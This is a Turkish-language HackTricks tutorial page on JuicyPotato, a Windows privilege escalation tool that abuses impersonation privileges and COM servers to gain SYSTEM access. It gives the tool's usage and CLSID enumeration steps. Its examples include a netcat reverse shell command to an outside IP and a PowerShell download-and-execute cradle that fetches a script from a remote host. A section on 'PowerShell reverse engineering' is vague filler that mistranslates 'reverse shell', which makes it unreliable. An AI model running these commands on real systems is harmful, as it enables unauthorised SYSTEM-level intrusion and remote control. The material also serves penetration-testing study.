hacktricks/windows-hardening/windows-local-privilege-escalation/juicypotato.md
2024-02-10 18:14:16 +00:00

12 KiB
Raw Blame History

JuicyPotato

AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

{% hint style="warning" %} JuicyPotato, Windows Server 2019 ve Windows 10 sürüm 1809'dan itibaren çalışmamaktadır. Bununla birlikte, PrintSpoofer, RoguePotato, SharpEfsPotato aynı yetkileri kullanarak ve NT AUTHORITY\SYSTEM düzeyinde erişim sağlamak için kullanılabilir. Kontrol edin: {% endhint %}

{% content-ref url="roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}

Juicy Potato (altın yetkileri kötüye kullanma)

Biraz meyve suyu eklenmiş RottenPotatoNG'nun tatlandırılmış bir versiyonu, yani Windows Hizmet Hesaplarından NT AUTHORITY\SYSTEM'e yerel ayrıcalık yükseltme aracı

Juicypotato'yı https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts adresinden indirebilirsiniz.

Özet

Juicy-potato Readme'den:

RottenPotatoNG ve varyantları, BITS hizmeti temelindeki ayrıcalık yükseltme zincirini kullanır ve SeImpersonate veya SeAssignPrimaryToken ayrıcalıklarına sahip olduğunuzda 127.0.0.1:6666 üzerinde MiTM dinleyiciye sahiptir. Bir Windows derleme incelemesi sırasında, BITS'in kasıtlı olarak devre dışı bırakıldığı ve 6666 numaralı bağlantı noktasının alındığı bir yapı bulduk.

RottenPotatoNG'yi silahlandırmaya karar verdik: Juicy Potato'ya merhaba deyin.

Teori için Rotten Potato - Hizmet Hesaplarından SYSTEM'e Ayrıcalık Yükseltme makalesine bakın ve bağlantılar ve referanslar zincirini takip edin.

BITS dışında, kullanabileceğimiz birkaç COM sunucusu olduğunu keşfettik. Bunlar sadece:

  1. mevcut kullanıcı tarafından anında oluşturulabilir, genellikle bir "hizmet kullanıcısı" olan ve taklit yetkilerine sahip olan
  2. IMarshal arabirimini uygulayabilir
  3. yükseltilmiş bir kullanıcı olarak çalışabilir (SYSTEM, Yönetici, ...)

Bazı testlerden sonra, çeşitli Windows sürümlerindeki ilginç CLSID'lerin kapsamlı bir listesini elde ettik ve test ettik.

Detaylar

JuicyPotato ile şunları yapabilirsiniz:

  • Hedef CLSID istediğiniz herhangi bir CLSID'yi seçin. Burada OS'ye göre düzenlenmiş listeyi bulabilirsiniz.
  • COM Dinleme bağlantı noktası sabitlenmiş 6666 yerine tercih ettiğiniz COM dinleme bağlantı noktasını tanımlayın
  • COM Dinleme IP adresi sunucuyu herhangi bir IP'ye bağlayın
  • Proses oluşturma modu taklit edilen kullanıcının ayrıcalıklarına bağlı olarak aşağıdakilerden seçim yapabilirsiniz:
  • CreateProcessWithToken (SeImpersonate gerektirir)
  • CreateProcessAsUser (SeAssignPrimaryToken gerektirir)
  • her ikisi
  • Başlatılacak Proses saldırı başarılı olduğunda bir yürütülebilir veya komut dosyası başlatın
  • Proses Argümanı başlatılan işlem argümanlarını özelleştirin
  • RPC Sunucusu adresi gizli bir yaklaşım için harici bir RPC sunucusuna kimlik doğrulayabilirsiniz
  • RPC Sunucusu bağlantı noktası eğer harici bir sunucuya kimlik doğrulamak istiyorsanız ve güvenlik duvarı port 135'i engelliyorsa işe yarar...
  • TEST modu çoğunlukla test amaçlıdır, yani CLSID'leri test etmek için. DCOM'u oluşturur ve token'ın kullanıcısını yazdırır. Test için buraya bakın

Kullanım

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

Son düşünceler

Juicy-potato Readme'den:

Eğer kullanıcının SeImpersonate veya SeAssignPrimaryToken yetkileri varsa, o zaman SYSTEM olursunuz.

Tüm bu COM Sunucularının kötüye kullanılmasını engellemek neredeyse imkansızdır. Bu nesnelerin izinlerini DCOMCNFG aracılığıyla değiştirmeyi düşünebilirsiniz, ama iyi şanslar, bu zor olacak.

Gerçek çözüm, * SERVICE hesapları altında çalışan hassas hesapları ve uygulamaları korumaktır. DCOM'u durdurmak bu saldırıyı kesinlikle engeller, ancak altta yatan işletim sistemi üzerinde ciddi bir etkisi olabilir.

Kaynak: http://ohpe.it/juicy-potato/

Örnekler

Not: Denemek için CLSID'lerin bir listesi için bu sayfayı ziyaret edin.

Bir nc.exe ters kabuk alın

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

Powershell tersine mühendislik

Bu bölümde, Powershell tersine mühendislik tekniklerini ele alacağız. Powershell, Windows işletim sistemlerinde kullanılan bir betikleme dilidir ve sıklıkla siber saldırganlar tarafından hedef sistemlere erişim sağlamak için kullanılır.

Powershell tersine mühendislik, bir Powershell betiğini analiz etmek ve içindeki işlevleri, değişkenleri ve komutları anlamak için kullanılan bir yöntemdir. Bu, saldırganların hedef sisteme zararlı kod enjekte etmek veya hassas bilgilere erişmek için kullanabileceği bir yetenektir.

Powershell tersine mühendislik teknikleri, Powershell betiğinin çalışma mantığını anlamak, kodu analiz etmek ve potansiyel güvenlik açıklarını tespit etmek için kullanılır. Bu teknikler, saldırganların hedef sistemdeki zayıf noktaları tespit etmelerine ve daha sonra bu zayıf noktaları kullanarak hedef sistemdeki ayrıcalıkları yükseltmelerine olanak tanır.

Powershell tersine mühendislik, siber güvenlik uzmanları ve pentester'lar tarafından kullanılan bir beceridir. Bu teknikleri kullanarak, saldırganlar hedef sistemdeki güvenlik açıklarını tespit edebilir ve bu açıkları kullanarak hedef sistemdeki ayrıcalıkları yükseltebilir. Bu nedenle, siber güvenlik uzmanlarının ve sistem yöneticilerinin Powershell tersine mühendislik tekniklerine karşı savunma mekanizmaları geliştirmeleri önemlidir.

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

Yeni bir CMD başlatın (RDP erişiminiz varsa)

CLSID Sorunları

Genellikle, JuicyPotato'nun kullandığı varsayılan CLSID çalışmaz ve saldırı başarısız olur. Genellikle, çalışan bir CLSID bulmak için birden fazla deneme yapmak gerekmektedir. Belirli bir işletim sistemi için denemek için CLSID listesine ihtiyacınız varsa, bu sayfayı ziyaret etmelisiniz:

{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}

CLSIDs'i Kontrol Etme

İlk olarak, juicypotato.exe dışında bazı yürütülebilir dosyalara ihtiyacınız olacak.

Join-Object.ps1'i indirin ve PS oturumunuza yükleyin, GetCLSID.ps1'i indirin ve çalıştırın. Bu komut dosyası, test etmek için olası CLSID'lerin bir listesini oluşturacaktır.

Ardından test_clsid.bat 'ı indirin (CLSİD listesinin yolunu ve juicypotato yürütülebilir dosyasının yolunu değiştirin) ve çalıştırın. Her CLSID'yi denemeye başlayacak ve port numarası değiştiğinde, CLSID'nin çalıştığı anlamına gelecektir.

Çalışan CLSİD'leri -c parametresini kullanarak kontrol edin

Referanslar

AWS hackleme hakkında sıfırdan kahraman olmak için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin!